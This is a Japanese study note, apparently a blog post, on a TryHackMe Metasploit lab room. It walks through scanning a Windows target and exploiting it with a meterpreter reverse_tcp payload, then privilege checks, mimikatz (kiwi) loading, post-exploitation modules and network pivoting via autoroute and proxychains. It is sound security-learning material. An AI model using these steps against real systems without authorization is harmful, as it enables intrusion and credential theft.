【TryHackMe】Metasploitのメモ

最後の方、全然理解していない。というかWindowsへの攻撃やコマンドが全然分かってないんだな。

Metasploit:
Metasploitはオープンソースのペンテストフレームワークである。世界中のセキュリティエンジニアが使用するパワフルなツールだ。Rapid7によってメンテされる。このルームでは、いくつかのモジュールについて基本的な使い方を説明する。

Metasploit consoleの起動:
AttackBoxではない場合はmsfdb initでdbを初期化が必要。
msfconsole -hでhelpが参照できる、-qでバナーなしで起動できる。
msfconsoleコマンドでconsoleを起動
起動したらdb_statusでDB接続されているか確認、なおDBにはpostgresqlを使っている。

Metasploit基本コマンド:
Metasploit Console上でhelpコマンド(エイリアスは?)を使えば、helpメニューが確認できる。
searchコマンドでモジュールを検索できる。
useコマンドで使いたいモジュールをactiveにする。
infoコマンドでモジュールの情報を表示する。
connectコマンドでホストに接続する。
bannerコマンドでバナー表示。
setコマンドで変数の値を変更する。
setgコマンドでグローバル変数の値を変更する。
getコマンドで変数の値を確認する。(getgでグローバル変数)
unsetコマンドで変数値をクリアする。
spoolコマンドで実行結果をファイルに出力。
saveコマンドで設定やデータを保存できる(msf4 or msf5ディレクトリ)。

Metasploit基本モジュール:
もっともよく使われるのはExploitモジュール、hand in handのexploitにはshellcodeを送って実行するが、それを含んでいるのはPayloadモジュール、スキャンやexploitableなマシンを見つけるのはAuxiliaryモジュール、Exploit後にlootingやpivotingすると思うが、それ用にはPostモジュール、payloadを使った場合の隠蔽や痕跡を残さないようにEncoderモジュール、buffer overflowやROP攻撃にはNOPモジュール、デフォルトでは全てのモジュールはロードされてないので、loadコマンドでloadする。

やってみよう!:
いつもはnmapを使うが、今回はMetasploitに組み込まれているnmapを使う。
db_nmap -sV [Target]
nmap中にオプションを再度勉強。https://nmap.org/book/man-briefoptions.html
結果が出てきた、むっちゃ開いてるわ。
TargetはWindowsみたい。
収集した情報を見るにはhostsコマンドやservicesコマンドを使うらしい。
そして、vulnsコマンドで、脆弱性情報を表示できる。
これで、ターゲットのスキャンは完了。Metasploitのpayloadを使って接続してみましょう。
モジュールの検索や有効化は、Metasploit5ではuse [モジュール名の一部]って打つだけで、いいらしい。また、search した時のモジュールに紐づく#番号を使って、use [番号]でも指定可能。
次に使用するpayloadを設定。set PAYLOAD windows/meterpreter/reverse_tcpと打つ。あとはLHOSTをsetで指定。また、use icecastに戻って、RHOSTSに値をセットし、exploit!
セッションは張れたみたい。exploitコマンドだと、インタラクティブセッションを開くところまで一気にやってくれる様子。次のステップでjobsコマンドで稼働しているjobが見れるらしいが、Unknown command: jobsとなりますね。。次行こう(セッション繋いだ状態なので当り前)。最後に、sessionsコマンドでsessionがリストされるらしい。session -i [セッション番号]で、インタラクティブなターゲットへのセッションが使える。(こちらもセッション繋いだ状態だとダメね)
では、ターゲットにセッション張れたので、ターゲット情報を見ていきます。まずは、psで動いているプロセスを確認。今回はspoolサービスに着目するらしい(spoolって補助記憶装置を使ってCPU待ち時間を減らす機能)。spoolプロセスに入るにはmigrateコマンドを使うらしい。migrate [process ID]実行、権限が不十分と怒られる。これは期待値らしい、他にもelevateできる情報を見ていく。getuidコマンドで、現在のプロセス実行中ユーザーを見る。他にもsysinfoコマンドでsystemについて見る。では、mimikatz(今はkiwi)をロードしていく。load kiwiコマンド実行。getprivsコマンドで現在の権限を見る。uploadコマンドでファイルをターゲットにアップする。Metasploitモジュールの実行はrunコマンド。ターゲットのIPアドレスはipconfigで確認。
では、postモジュールを試してみましょう。run post/windows/gather/checkvmでターゲットがVMか確認。次にrun post/multi/recon/local_exploit_suggesterを実行。いくつか脆弱性情報がリストされた。最後にrun post/windows/manage/enable_rdpを実行、RDPを変更するには権限は不十分だった。最後にshellコマンドでmeterpreterセッションからシステムシェルをスポーン。(なんだか全然理解できてないぞ)

pivoting walk through:
ターゲットにnetwork interfaceが複数ない間に、外のネットワークからアクセスできるようにする。
meterpreterセッションでrun autoroute -s 172.18.1.0 -n 255.255.255.0 を実行すると、172.18.1.0/24へのルートが追加される。
そして、socks5 proxy serverをこのセッション外で開始する。meterpreterセッションをバックグラウンドにして、search server/socks5を実行する。server/socks5を開始したら、/etc/proxychains.confファイルに新しいサーバーを含める。proxychains コマンドでプロキシされるようになるらしい。

Please share this page: